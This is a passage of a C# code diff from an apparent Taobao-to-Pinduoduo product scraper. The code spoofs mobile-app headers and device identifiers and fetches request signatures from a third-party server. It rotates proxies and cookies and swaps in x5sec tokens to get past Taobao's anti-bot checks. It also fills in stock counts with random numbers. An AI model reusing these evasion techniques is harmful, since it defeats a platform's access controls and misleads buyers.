"&NbCodeVersion=1"; + string html = GetHtml.PostUtf8(url, data); + if (html.Contains("error")) + { + Thread.Sleep(2000); + html = GetHtml.PostUtf8(url, data); + } + return html; + } + + public string GetTaoBaoNewOther(long productId) + { + //HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://129.204.71.240/ycj/api/v1/taobao/goodsDetail/653498299812?cacheCycle=1"); + + //request.Headers.Add("G-Sign-V1", @"ew0KICAiaXYiOiAiWmJhNXFyZHBWRWVzUm9SY21vR2hFQT09IiwNCiAgInZhbHVlIjogImVmQ1VFSW5hYjAzWU02MXY4OGtyL1Q3Sk5WY2gzTENJU2o1OGNhNFBseUNqY1p3SGZKWnZrT05oK0svUndXUDhlRml2VXBpTHBjM29kaEllMXQrZlA3c2o2UWRuOHlrbm1kYU9PTENLVktGeERSYmdKdmpCOVZ6VG1haDhJUGVsdXh0WHVrak1XcTVJZE1yM1VuQkFWclViZ25reVRwMmY2RDVkcFVJN01UclZTMFZkK1RFbzJlR2pTQ1dwZkNyWSIsDQogICJtYWMiOiAiODVlYmEyMDk2YWUyNTE1N2UxMzBlZTVhOWVjZjRlZmM1MmFkZjNmYTcyZTdkYmVlYmQ2NTUwNzcxNTA1NjA4MCINCn0="); + //request.Accept = "application/json, application/xml, text/json, text/x-json, text/javascript, text/xml"; + //request.UserAgent = "RestSharp/106.3.1.0"; + //request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + int count = 0; + Again: + HttpWebResponse response = null; + try + { + count++; + string sign = GetSign(); + string url = "http://129.204.71.240/ycj/api/v1/taobao/goodsDetail/" + productId + "?cacheCycle=1"; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.KeepAlive = true; + request.UserAgent = BaseClass.ChromeUserAgent; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Add("G-Sign-V1", sign); + request.Accept = "application/json, application/xml, text/json, text/x-json, text/javascript, text/xml"; + response = (HttpWebResponse)request.GetResponse(); + } + catch (Exception) + { + } + if (response == null || response.StatusCode != HttpStatusCode.OK) + { + if (count < 3) + { + Thread.Sleep(500); + goto Again; + } + } + if (response != null) + { + string responseText = ReadResponse(response); + return responseText; + } + return ""; + } + + public string GetTaoBaoNewOtherDesc(long productId) + { + //HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://129.204.71.240/ycj/api/v1/taobao/goodsDetail/653498299812?cacheCycle=1"); + + //request.Headers.Add("G-Sign-V1", @"ew0KICAiaXYiOiAiWmJhNXFyZHBWRWVzUm9SY21vR2hFQT09IiwNCiAgInZhbHVlIjogImVmQ1VFSW5hYjAzWU02MXY4OGtyL1Q3Sk5WY2gzTENJU2o1OGNhNFBseUNqY1p3SGZKWnZrT05oK0svUndXUDhlRml2VXBpTHBjM29kaEllMXQrZlA3c2o2UWRuOHlrbm1kYU9PTENLVktGeERSYmdKdmpCOVZ6VG1haDhJUGVsdXh0WHVrak1XcTVJZE1yM1VuQkFWclViZ25reVRwMmY2RDVkcFVJN01UclZTMFZkK1RFbzJlR2pTQ1dwZkNyWSIsDQogICJtYWMiOiAiODVlYmEyMDk2YWUyNTE1N2UxMzBlZTVhOWVjZjRlZmM1MmFkZjNmYTcyZTdkYmVlYmQ2NTUwNzcxNTA1NjA4MCINCn0="); + //request.Accept = "application/json, application/xml, text/json, text/x-json, text/javascript, text/xml"; + //request.UserAgent = "RestSharp/106.3.1.0"; + //request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + int count = 0; + Again: + HttpWebResponse response = null; + try + { + count++; + string sign = GetSign(); + string url = "http://129.204.71.240/ycj/api/v1/taobao/goodsDesc/" + productId + "?cacheCycle=1"; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.KeepAlive = true; + request.UserAgent = BaseClass.ChromeUserAgent; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Add("G-Sign-V1", sign); + request.Accept = "application/json, application/xml, text/json, text/x-json, text/javascript, text/xml"; + response = (HttpWebResponse)request.GetResponse(); + } + catch (Exception) + { + } + if (response == null || response.StatusCode != HttpStatusCode.OK) + { + if (count < 3) + { + Thread.Sleep(500); + goto Again; + } + } + if (response != null) + { + string responseText = ReadResponse(response); + return responseText; + } + return ""; + } + private string GetTaobaoProductAlibabaMainInfoAndDesc(long productId, bool isVerify, string f = "", string sMainOrDesc = "Main") + { + HttpWebResponse response; + string html = MakeRequestThroughProxyTradeAscM(productId, isVerify, out response, sMainOrDesc, f); + return html; + } + private string MakeRequestThroughProxyTradeAscM(long sProductId, bool isVerify, out HttpWebResponse response, string sMainOrDesc = "Main", string f = "") + { + response = null; + int count = 0; + Again: + try + { + count++; + bool bIsGetDesc = !sMainOrDesc.Equals("Main"); + var utdid = "XUEI6Cqy4UgDAHCsEH0z5one"; + var uid = ""; + var appKey = "25443018"; + var t = BaseClass.GetTime(BaseClass.GetServerTimeString()).ToString(); + var sid = ""; + var deviceId = @"AqjuNSqg5WtUMlGAgV2ZsudCBHdVINyeYYmyjrge4w2P"; + var features = "27"; + var x_pv = "5.1"; + var data = "{\"parameters\":\"{\\\"miniapp_astore\\\":\\\"true\\\",\\\"detail_v\\\":\\\"9.9.9\\\",\\\"ttid\\\":\\\"2018@taobao_iphone_9.9.9\\\",\\\"itemId\\\":\\\"" + sProductId + "\\\",\\\"bizCode\\\":\\\"ali.china.tmall.good\\\",\\\"scenario\\\":\\\"goods_miniapp\\\"}\"}"; + //var olData = data; + string url_getSign = BaseClass.BuildObjString("get_taobao_sign&act=get_tb_sign"); + string url_data = UserLogin.GetSignaturex("", ""); + //if (!string.IsNullOrEmpty(f)) url_data += "&f=" + f; + //if (!bIsGetDesc) url_data += "&bIsGetDesc=main"; + //string sign = GetHtml.PostUtf8(url_getSign, url_data + "&t=" + t + "&sProductId=" + sProductId); + string api = "mtop.alibaba.detail.dynamic.service.getdetail"; + string sign = GetHtml.PostUtf8(url_getSign, url_data + "&t=" + t + "&api=" + api + "&v=" + "1.0" + "&data=" + data); + var url = "https://guide-acs.m.taobao.com/gw/mtop.alibaba.detail.dynamic.service.getdetail/1.0?type=originaljson&rnd=155A23C4D8AD7737C1D1F2404ACD8AB5&data={\"parameters\":\"{\\\"miniapp_astore\\\":\\\"true\\\",\\\"detail_v\\\":\\\"9.9.9\\\",\\\"ttid\\\":\\\"2018@taobao_iphone_9.9.9\\\",\\\"itemId\\\":\\\"" + sProductId + "\\\",\\\"bizCode\\\":\\\"ali.china.tmall.good\\\",\\\"scenario\\\":\\\"goods_miniapp\\\"}\"}"; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.Headers.Add("x-features", features); + request.UserAgent = "MTOPSDK%2F3.1.1.7+%28Android%3B5.1%3BOPPO%3BOPPO+R9m%29"; + //request.Headers.Add("x-mini-wua", @"HHnB_mzRal5X4IXAcTxtEgwmHrZdDXNc0XlRLOemtkzSNtCwcDyGQ3tfXxI5oy9xIVme1wWJk9EELd0TS8hhy6KG3KepCdy7FNi1OVyEaDB3ph2utD4QBb4PEAuD5HiJGrP%2FF"); + request.Headers.Add("x-ttid", @"219201@taobao_android_7.6.0"); + request.Headers.Set(HttpRequestHeader.CacheControl, "no-cache"); + request.Headers.Add("x-appkey", appKey); + request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8"; + request.Headers.Add("x-pv", x_pv); + request.Headers.Add("x-t", t); + //request.Headers.Set(HttpRequestHeader.Cookie, @""); + request.Headers.Add("x-utdid", utdid); + request.Headers.Add("x-devid", deviceId); + request.Headers.Add("x-sign", sign); + request.Headers.Add("x-uid", uid); + request.Headers.Add("x-sid", sid); + request.Headers.Add("x-page-url", @"http%3A%2F%2Fitem.taobao.com%2Fitem.htm"); + request.Headers.Add("x-nettype", @"WIFI"); + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "deflate"); + //request.Headers.Set(HttpRequestHeader.Cookie, taoBaoCookies); + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (count < 3) + { + Thread.Sleep(300); + goto Again; + } + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return ""; + } + catch (Exception) + { + if (count < 3) + { + Thread.Sleep(500); + goto Again; + } + if (response != null) response.Close(); + return ""; + } + if (response == null || response.StatusCode != HttpStatusCode.OK) + { + if (count < 3) + { + Thread.Sleep(500); + goto Again; + } + } + if (response != null) + { + string responseText = ReadResponse(response); + if (!string.IsNullOrEmpty(responseText) && responseText.Contains("https://login.m.taobao") && count < 3) + { + Thread.Sleep(1000); + goto Again; + } + if (isVerify && !string.IsNullOrEmpty(responseText) && responseText.Contains("被挤爆啦")) + { + BaseClass.IeUrlShow = response.Headers["Location"]; + Thread.Sleep(10 * 1000); + //goto Again; + } + return responseText; + } + return ""; + } + public static string FromUnicodeString(string str) + { + //最直接的方法Regex.Unescape(str); + StringBuilder strResult = new StringBuilder(); + if (!string.IsNullOrEmpty(str)) + { + string[] strlist = str.Replace("\\", "").Split('u'); + try + { + for (int i = 1; i < strlist.Length; i++) + { + int charCode = Convert.ToInt32(strlist[i], 16); + strResult.Append((char)charCode); + } + } + catch (FormatException ex) + { + return Regex.Unescape(str); + } + } + return strResult.ToString(); + } + public void Get() + { + if (ProductTemp.ContainsKey(Product.from_id)) + { + GetSuccess = true; + Product = ProductTemp[Product.from_id].Clone(); + return; + } + GetSuccess = false; + Delete = false; + bool useTemp = false; + string urlProduct = "http://acs.m.taobao.com/h5/mtop.taobao.detail.getdetail/6.0/?api=mtop.taobao.detail.getdetail&v=6.0&ttid=2016%40taobao_h5_2.0.0&isSec=0&ecode=0&AntiFlood=true&AntiCreep=true&H5Request=true&type=jsonp&dataType=jsonp&callback=mtopjsonp1&data=%7B%22exParams%22%3A%22%7B%5C%22id%5C%22%3A%5C%22549564635405%5C%22%7D%22%2C%22itemNumId%22%3A%22" + (ThisShopId ? Product.id : Product.from_id) + "%22%7D"; + bool nokey = false, hadFile = false; + string content = "", newContent = ""; + string refere = "https://h5.m.taobao.com/awp/core/detail.htm?id=" + (ThisShopId ? Product.id : Product.from_id); + //string html =NoTemp?"": TempFileReadWrite.Read(Product.id, "content", out hadFile); + //if(string.IsNullOrEmpty(html)) + // html = GetPostTaobaoHtml.UploadTaobao(urlProduct, refere, true); + string html = ""; + bool canUse = false; + if (UploadPinduoduoMain.isUseTaoBaoCache) + { + html = ServerTemp.Get(2, "main-" + Product.from_id.ToString(), out canUse); + html = html.Replace("\": \"", "\":\"").Replace("\": \"", "\":\""); + } + if (!canUse || !(html.Contains("调用成功") || html.Contains("\"dataType\":\"v2\"")) || html.Contains("expired.html?isInvalid=true")) + { + int it = UploadPinduoduoMain.ShopThreadCount * UploadPinduoduoMain.SingleThreadCount; + if ((string.IsNullOrEmpty(html) || !canUse || !html.Contains("调用成功"))) + { + //GetTaobaoCookies(); + if (string.IsNullOrEmpty(taoBaoCookies)) + taoBaoCookies = BaseClass.IeFormCookies; + //if ((string.IsNullOrEmpty(html) || !html.Contains("调用成功"))) + //{ + // Thread.Sleep(1000); + // html = GetTaoBaoNewOther(Product.from_id); + //} + if (!string.IsNullOrEmpty(GetProxyHtml.orderId) && !IsProxyOverdue) + { + html = GetTaobaoProductMainInfoAndDescProxyNew(Product.from_id, "real-taobao-api"); + html = html.Replace("\\/", "/"); + html = html.Replace("\": \"", "\":\"").Replace("\": \"", "\":\""); + } + else // 共享代理IP + { + string purl = BaseClass.LoginApiUrl + "index.php?obj=api/shared_pool&act=get_agent_ip"; + string phtml = GetHtml.PostUtf8(purl, UserLogin.GetSignaturex()); + string sAgentIpKey = BaseRegex.GetStringJson(ref phtml, "the_key"); + GetProxyHtml.orderId = GetProxyHtml.DESDecode(sAgentIpKey, AllBase.Helper.GlobalConfig.cAgentIpCode); + html = GetTaobaoProductMainInfoAndDescProxyNew(Product.from_id, "real-taobao-api"); + html = html.Replace("\\/", "/"); + html = html.Replace("\": \"", "\":\"").Replace("\": \"", "\":\""); + } + + + if ((string.IsNullOrEmpty(html) || !(html.Contains("调用成功") || html.Contains("\"dataType\":\"v2\"")))) + { + if (string.IsNullOrEmpty(taoBaoCookies)) + taoBaoCookies = BaseClass.IeFormCookies; + html = GetTaobaoProductDetailByMtopAlibabaApi(Product.from_id, true); + if ((string.IsNullOrEmpty(html) || !html.Contains("调用成功"))) + { + if (!string.IsNullOrEmpty(BaseClass.x5Sec)) + { + string oldCookies = taoBaoCookies; + if (BaseClass.IeFormCookies.Contains("x5sec")) + { + string sec = BaseRegex.GetMatchRegexString(ref BaseClass.IeFormCookies, @"x5sec=([\w\W]+?);"); + BaseClass.IeFormCookies = BaseClass.IeFormCookies.Replace(sec, BaseClass.x5Sec); + } + else + BaseClass.IeFormCookies += "x5sec=" + BaseClass.x5Sec + ";"; + taoBaoCookies = BaseClass.IeFormCookies; + BaseClass.x5Sec = ""; + string ck = BaseRegex.GetMatchRegexString(ref taoBaoCookies, @"tracknick=([\w\W]+?);"); + if (ck.Contains("%")) + ck = GetHtml.UrlDecode(ck); + CookiesDic[ck] = taoBaoCookies; + CurrentCookiesDic.Remove(oldCookies); + SaveCookies(); + html = GetTaobaoProductDetailByMtopAlibabaApi(Product.from_id, true); + //if ((string.IsNullOrEmpty(html) || !html.Contains("调用成功"))) + // LogSave.AddCrash("barleyinterface取完参数,重新执行失败"); + } + else + { + taoBaoCookies = BaseClass.IeFormCookies; + html = GetTaobaoProductDetailByMtopAlibabaApi(Product.from_id, false); + } + } + } + //////阿里巴巴 + //if ((string.IsNullOrEmpty(html) || !html.Contains("调用成功"))) + //{ + // Thread.Sleep(2000); + // html = GetTaobaoProductDetailByMtopAlibabaApi(Product.from_id); + //} + if ((string.IsNullOrEmpty(html) || !(html.Contains("调用成功") || html.Contains("\"dataType\":\"v2\"")) || html.Contains("商品不存在"))) + { + Thread.Sleep(5000); + //心选 + html = GetTaobaoProductAlibabaMainInfoAndDesc(Product.from_id, true); + } + //Thread.Sleep(it * 200); + //html = GetTaoBaoNewOther(Product.from_id); + //if ((string.IsNullOrEmpty(html) || !html.Contains("调用成功"))) + //{ + // Thread.Sleep(it * 500); + // html = GetTaobaoProductAlibabaMainInfoAndDesc(Product.from_id, false); + //} + if (CookiesDic.Count == 0 && (string.IsNullOrEmpty(html) || !(html.Contains("调用成功") || html.Contains("\"dataType\":\"v2\"")))) + { + html = GetPostTaobaoHtml.UploadTaobaoH5(urlProduct, refere, true, BaseClass.IeFormCookies); + Thread.Sleep(it * 500); + if (html.Contains("login.m.taobao.") && Application.OpenForms.Cast().ToList().Find(frm => frm.Text.Contains("淘宝验证窗口")) == null) + { + //BaseClass.IeFormCookies = ""; + string sPunishUrl = BaseRegex.GetStringJson(ref html, "url"); + BaseClass.IeUrlShow = sPunishUrl; + Thread.Sleep(5000); + while (Application.OpenForms.Cast().ToList().Find(frm => frm.Text.Contains("淘宝验证窗口")) != null) + { + Thread.Sleep(3000); + } + if (!string.IsNullOrEmpty(BaseClass.x5Sec)) + { + if (BaseClass.IeFormCookies.Contains("x5sec")) + { + string sec = BaseRegex.GetMatchRegexString(ref BaseClass.IeFormCookies, @"x5sec=([\w\W]+?);"); + BaseClass.IeFormCookies = BaseClass.IeFormCookies.Replace(sec, BaseClass.x5Sec); + } + else + BaseClass.IeFormCookies += "x5sec=" + BaseClass.x5Sec + ";"; + } + html = GetPostTaobaoHtml.UploadTaobaoH5(urlProduct, refere, true, BaseClass.IeFormCookies); + } + if (html.Contains("FAIL_SYS_USER_VALIDATE") && html.Contains("_____tmd_____/punish") && Application.OpenForms.Cast().ToList().Find(frm => frm.Text.Contains("淘宝验证窗口")) == null) + { + string sPunishUrl = BaseRegex.GetStringJson(ref html, "url"); + BaseClass.IeUrlShow = sPunishUrl; + Thread.Sleep(5000); + while (Application.OpenForms.Cast().ToList().Find(frm => frm.Text.Contains("淘宝验证窗口")) != null) + { + Thread.Sleep(3000); + } + if (!string.IsNullOrEmpty(BaseClass.x5Sec)) + { + if (BaseClass.IeFormCookies.Contains("x5sec")) + { + string sec = BaseRegex.GetMatchRegexString(ref BaseClass.IeFormCookies, @"x5sec=([\w\W]+?);"); + BaseClass.IeFormCookies = BaseClass.IeFormCookies.Replace(sec, BaseClass.x5Sec); + } + else + BaseClass.IeFormCookies += "x5sec=" + BaseClass.x5Sec + ";"; + } + html = GetPostTaobaoHtml.UploadTaobaoH5(urlProduct, refere, true, BaseClass.IeFormCookies); + } + } + if (html.Contains("请检查是否使用了代理软件或VPN"))// || html.Contains("登陆成功后请点击重试获得查询结果") + { + ////清除cookie,让其出滑块 + CookiesDic.Clear(); + taoBaoCookies = ""; + BaseClass.IeFormCookies = ""; + } + if (!string.IsNullOrEmpty(html) && html.Contains("被挤爆啦")) + { + LogSave.Add(Name, "被挤爆啦,请设置代理IP,解决采集限制问题:"); + } + if (html.Contains("https://login.m.taobao.com")) + { + LogSave.Add(Name, "读取页面失败:" + urlProduct); + } + if (!string.IsNullOrEmpty(html) && (html.Contains("调用成功") || html.Contains("\"dataType\":\"v2\"")) && !(html.Contains("expired.html?isInvalid=true") || html.Contains("\"已下架"))) + { + if (!html.Contains("mtopjsonp1(") && html.Contains("cache_time")) + { + JObject ja = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(html); + html = ja["data"].ToString(); + } + IdFessionTaobao.ConcurrentQueueHtmlSaveServer.Enqueue(new SaveServerParm() { SaveType = 2, ProuctId = "main-" + Product.from_id.ToString(), SaveHtml = html }); + } + } + //} + } + if (!string.IsNullOrEmpty(html) && + (html.Contains("expired.html?isInvalid=true") || html.Contains("\\\"已下架\\\"") || html.Contains("商品已经下架啦") || html.Contains("expired?wh_weex=true"))) + IsDown = true; + if (!string.IsNullOrEmpty(html) && html.Contains("预售")) + Product.IsPreSale = IsPreSale = true; + if (string.IsNullOrEmpty(html) || !(html.Contains("调用成功") || html.Contains("\"dataType\":\"v2\""))) + { + LogSave.Add(Name, "宝贝已经下架:" + urlProduct); + LogSave.AddFile(html); + BigDataBuild.Delete(Product.from_id, 1); + //删除掉正在使用的cookies + if (!string.IsNullOrEmpty(taoBaoCookies) && CurrentCookiesDic.ContainsKey(taoBaoCookies)) + CurrentCookiesDic.Remove(taoBaoCookies); + return; + } + //if (!hadFile) + // TempFileReadWrite.Write(Product.id, "content",html); + GetSuccess = true; + if (!string.IsNullOrEmpty(html) && canUse) + { + int index = html.IndexOf(",") + 1; + html = html.Substring(index); + var matches = BaseRegex.GetMatchRegex(ref html, "\\d{4}-\\d{2}-\\d{2} ,"); + foreach (Match match in matches) + { + html = html.Replace(match.ToString(), "").Trim(); + } + while ((int)html[0] == 65279) + html = html.Substring(1).Trim(); + } + + string desc = ""; + html = html.Replace("\": \"", "\":\"").Replace("\": \"", "\":\""); + + #region 66新格式 20220725 + if (html.Contains("\"dataType\":\"v2\"")) + { + Product = Parser(html); + goto detalPic; + } + #endregion + + Product.name = BaseRegex.GetMatchRegexString(ref html, @"""item"":\{[^\}]*?""title"":""([^""]+)"""); + if (string.IsNullOrEmpty(Product.name)) + Product.name = BaseRegex.GetMatchRegexString(ref html, @"""itemId"":[^\}]*?""title"":""([^""]+)"""); + if (html.Contains("mtop.alibaba.detail.dynamic.service.getdetail")) + { + var vRes = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(html); + html = vRes["data"]["result"].ToString(); + //普通商品属性 + #region 商品属性 + //html = html.Replace("\\\"", "\""); + //新格式名称 + if (string.IsNullOrEmpty(Product.name)) + Product.name = BaseRegex.GetStringJson(ref html, "itemTitle"); + string pricext = BaseRegex.GetMatchRegexString(ref html, + @"""price"":\{""priceMoney"":[\d]+,""priceText"":""([\d\.]+)"""); + string originPrice = BaseRegex.GetStringJson(ref html, "originPriceText"); + if (string.IsNullOrEmpty(originPrice)) + { + originPrice = pricext; + } + if (originPrice == "0" || string.IsNullOrEmpty(originPrice)) + { + LogSave.Add("价格为空,退出:" + Product.from_url); + //删除掉正在使用的cookies + if (!string.IsNullOrEmpty(taoBaoCookies) && CurrentCookiesDic.ContainsKey(taoBaoCookies)) + CurrentCookiesDic.Remove(taoBaoCookies); + return; + } + + Product.saleCount = BaseRegex.GetIntJson(ref html, "sellCount"); + string epricex = BaseRegex.GetMatchRegexString(ref html, @"""postage"":""快递[::][\s]*([\d\.]+)"); + Product.express_price = string.IsNullOrEmpty(epricex) ? 0 : decimal.Parse(epricex); + Product.price = decimal.Parse(pricext); + MinPrice = Product.price; + MaxPrice = Product.price; + Product.num = BaseRegex.GetIntJson(ref html, "num"); + Product.from_shop_name = BaseRegex.GetStringJson(ref html, "sellerNick"); + if (Product.num == 0) + { + string num = BaseRegex.GetMatchRegexString(ref html, @"""quantity"":([\d]+)"); + if (!string.IsNullOrEmpty(num)) + Product.num = int.Parse(num); + } + + Product.discountPrice = decimal.Parse(pricext); + //Product.before_price = decimal.Parse(originPrice); + Product.discount = Product.discountPrice / Product.before_price;//折扣比例 + Product.onlinePrice = Product.discountPrice * Product.shopAddPercent / 100 + new Random(Guid.NewGuid().GetHashCode()).Next((int)(Product.shopAddPriceMin * 100), + (int)(Product.shopAddPriceMax * 100)) / 100; + + if (IsUrlCollect) + { + Product.onlinePrice = GetOnlinePrice(Product.price); + } + + //if (IsUpdateSku)//如果是更新SKU则直接跳转到SKU部分 + //{ + // goto GetSku; + //} + //string catId = BaseRegex.GetStringJson(ref html, @"categoryId"); + //catId = string.IsNullOrEmpty(catId) ? BaseRegex.GetMatchRegexString(ref html, @"categoryId:([\d]+)") : catId; + //if (catId.Contains(",")) + // catId = catId.Substring(catId.LastIndexOf(",") + 1); + //Product.cat_id = int.Parse(catId); + Product.main_cid = BaseRegex.GetIntJson(ref html, @"rootCategoryId"); + Product.from_cat_id = Product.cat_id; + Product.from_site_id = 1; + //if (Product.main_cid == 0) + //{ + // LogSave.Add(Name, "没有找到主分类:" + Product.from_url); + // //删除掉正在使用的cookies + // if (!string.IsNullOrEmpty(taoBaoCookies) && CurrentCookiesDic.ContainsKey(taoBaoCookies)) + // CurrentCookiesDic.Remove(taoBaoCookies); + // return; + //} + #endregion + //主图 + #region 主图 + string imgHtml = BaseRegex.GetMatchRegexString(ref html, @"[\s]*""images"":[\s]*\[([^\]]+?)\]"); + + if (string.IsNullOrEmpty(imgHtml)) + { + LogSave.Add(Name, "图片错误:" + Product.from_url); + return; + } + if (!(imgHtml.Contains("jpg") || imgHtml.Contains("jpeg") || imgHtml.Contains("png"))) + { + var mg = BaseRegex.GetMatchRegex(ref html, @",[\s]*""images"":[\s]*\[([^\]]+?)\]"); + for (int i = 0; mg != null && i < mg.Count; i++) + { + if (i == 0) + continue; + imgHtml = mg[i].Groups[1].Value; + } + } + var mc = BaseRegex.GetMatchRegex(ref imgHtml, @"""([^""]+)"""); + if (mc.Count == 0) + { + LogSave.Add(Name, "图片错误:" + Product.from_url); + return; + } + for (int i = 0; i < mc.Count; i++) + { + Product.Images.Add(mc[i].Groups[1].Value); + } + Product.image = Product.Images[0]; + Product.image_from_url = Product.Images[0]; + #endregion + //商品属性 + #region 商品属性 + string pro = BaseRegex.GetMatchRegexString(ref html, @"[\s]*\{""param"":\[([^\]]+?)\]"); + if (!string.IsNullOrEmpty(pro)) + { + mc = BaseRegex.GetMatchRegex(ref pro, @"\{""([^""]+)"":[\s]*""([^""]+)"",""([^""]+)"":[\s]*""([^""]+)""\}"); + if (mc.Count == 0) + { + LogSave.Add("参数错误:" + Product.from_url); + return; + } + for (int i = 0; i < mc.Count; i++) + { + string name = mc[i].Groups[4].Value; + string value = mc[i].Groups[2].Value; + if (name.Length > 50 || value.Length > 50) + continue; + Product.Prop.Add(new KeyValueBase(name, value)); + } + } + #endregion + //规格 + #region 规格 + string footer_55098 = BaseRegex.GetMatchRegexString(ref html, "\"footer_[\\d]+\":([\\w\\W]+?\"type\":[\\s]*\"footer\"[\\s]*\\})"); + var vFooter = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(footer_55098); + if (vFooter["fields"]["skuInfo"]["skuBase"]?["props"] != null) + { + var vSkuProps = JArray.Parse(vFooter["fields"]["skuInfo"]["skuBase"]?["props"]?.ToString())?.ToObject>(); + foreach (var skuProp in vSkuProps) + { + var jSkuProp = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(skuProp.ToString()); + PropBase p = new PropBase + { + id = long.Parse(jSkuProp["pid"].ToString()), + name = jSkuProp["name"].ToString() + }; + var jSkuValue = JArray.Parse(jSkuProp["values"].ToString()).ToObject>(); + foreach (var skuPropValue in jSkuValue) + { + var jSkuPropValue = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(skuPropValue.ToString()); + PropValueBase pv = new PropValueBase() + { + value = jSkuPropValue["vid"].ToString(), + name = jSkuPropValue["name"].ToString(), + image = jSkuPropValue?["image"]?.ToString(), + image_from_url = jSkuPropValue?["image"]?.ToString(), + number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000) + }; + p.Values.Add(pv); + p.sort = vSkuProps.IndexOf(skuProp) + 1; + } + Product.Props.Add(p); + } + } + #endregion + #region sku + decimal before_price = BaseRegex.GetDecimalJson(ref html, "originPriceText"); + //sku属性 + if (vFooter["fields"]["skuInfo"]["skuBase"]?["skus"] != null) + { + var vSkus = JArray.Parse(vFooter["fields"]["skuInfo"]["skuBase"]?["skus"]?.ToString()).ToObject>(); + foreach (var sku in vSkus) + { + var vSku = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(sku.ToString()); + string skuId = vSku["skuId"].ToString(); + string propPath = vSku["propPath"].ToString(); + var vSkuInfo = vFooter["fields"]["skuInfo"]["skuCore"]["sku2info"][skuId]; + int iSkuNum = (int)vSkuInfo["quantity"]; + if (iSkuNum > 100) + iSkuNum = 100; + decimal price = (decimal)vSkuInfo["price"]["priceText"]; + string skuName = BuildName(propPath); + SkuMapBase skuBase = new SkuMapBase() + { + id = long.Parse(skuId), + name = skuName, + price = price, + number = iSkuNum, + before_price = before_price, + //values = values, + sale_count = 0 + }; + Product.SkuMaps.Add(skuBase); + } + } + #endregion + goto detalPic; + } + if (html.Contains("mtop.alibaba.jnpiter.detail.getdetail")) + { + #region 解析 + var vRes = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(html); + if (vRes == null) return; + Product.from_site_id = 1; + + if (vRes["data"] != null && vRes["data"].ToString() != "{}") + { + Product.from_title = Product.name = vRes?["data"]?["item"]?["title"]?.ToString(); + if (vRes?["data"]?["detailFeeds"]?[1]?["price"] == null) + Product.price = 0; + else + Product.price = decimal.Parse(vRes?["data"]?["detailFeeds"]?[1]?["price"]?.ToString()); + //Product.price = decimal.Parse(((int)vRes["data"]["price"]["price"]["priceMoney"] / 100.0).ToString()); + //if (AgentProductBuild.IsGuidancePrice) + //{ + //var orginalPrice = decimal.Parse(((int)vRes["data"]["skuCore"]["sku2info"]["0"]["originalPrice"]["priceMoney"] / 100.0).ToString()); + //var pricet = decimal.Parse(((int)vRes["data"]["skuCore"]["sku2info"]["0"]["price"]["priceMoney"] / 100.0).ToString()); + //if (orginalPrice <= pricet) + //{ + // //Product.isPromotion = false; + // Product.price = pricet; + //} + //else + //{ + // Product.price = orginalPrice; + //} + //} + //else + //{ + // Product.price = decimal.Parse(vRes["data"]["detailFeeds"][1]["price"].ToString()); + //} + if (vRes["data"]?["item"]?["sellCount"] == null) + Product.saleCount = 0; + else + Product.saleCount = (int)vRes["data"]?["item"]?["sellCount"]; + //TODO 根据返回内容分析邮费 + string epricex = BaseRegex.GetMatchRegexString(ref html, @"""postage"":""快递[::][\s]*([\d\.]+)"); + Product.express_price = string.IsNullOrEmpty(epricex) ? 0 : decimal.Parse(epricex); + //Product.express_price = 0; + Product.num = (int)vRes["data"]?["skuCore"]?["sku2info"]?["0"]?["quantity"]; + Product.cat_id = Product.from_cat_id = (int)vRes["data"]?["item"]?["categoryId"]; + Product.main_cid = (int)vRes["data"]?["item"]?["rootCategoryId"]; + ////TODO 主图视频ID + //if (vRes["data"]["video"]?["videos"] != null) + //{ + // Product.VideoId = vRes["data"]["video"]?["videos"]?[0]?["videoId"].ToString(); + //} + Product.item_size = ""; + Product.item_weight = 1; + + //TODO 发货城市 + Product.state = "浙江"; + Product.city = "杭州"; + //string sDelivery = vRes["data"]["delivery"]["from"].ToString(); + //ResolveProductDelivery(sDelivery); + var imgStr = vRes["data"]?["item"]?["images"]?.ToString(); + Product.Images = JArray.Parse(imgStr).ToObject>(); + Product.image = Product.image_from_url = Product.Images[0]; + + string sDetailFeeds = vRes["data"]?["detailFeeds"]?.ToString(); + string sProps = BaseRegex.GetMatchMaxRegexString(ref sDetailFeeds, "\"props\":[\\s]*(\\[[\\w\\W]+?\\])"); + + if (sProps != null) + { + var v = JArray.Parse(sProps).ToObject>(); + foreach (var prop in v) + { + string s = prop.ToString(); + var key = BaseRegex.GetStringJson(ref s, "word"); + var value = BaseRegex.GetStringJson(ref s, "content"); + { + Product.Prop.Add(new KeyValueBase(key, value)); + } + } + } + } + if (vRes["data"]["skuBase"]?["props"] != null && !string.IsNullOrEmpty(vRes["data"]["skuBase"]?["props"].ToString())) + { + var vSkuProps = JArray.Parse(vRes["data"]["skuBase"]?["props"]?.ToString())?.ToObject>(); + foreach (var skuProp in vSkuProps) + { + var jSkuProp = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(skuProp.ToString()); + PropBase p = new PropBase + { + id = long.Parse(jSkuProp["pid"].ToString()), + name = jSkuProp["name"].ToString() + }; + var jSkuValue = JArray.Parse(jSkuProp["values"].ToString()).ToObject>(); + foreach (var skuPropValue in jSkuValue) + { + var jSkuPropValue = (JObject)Newtonsoft.Json.JsonConvert.DeserializeObject(skuPropValue.ToString()); + 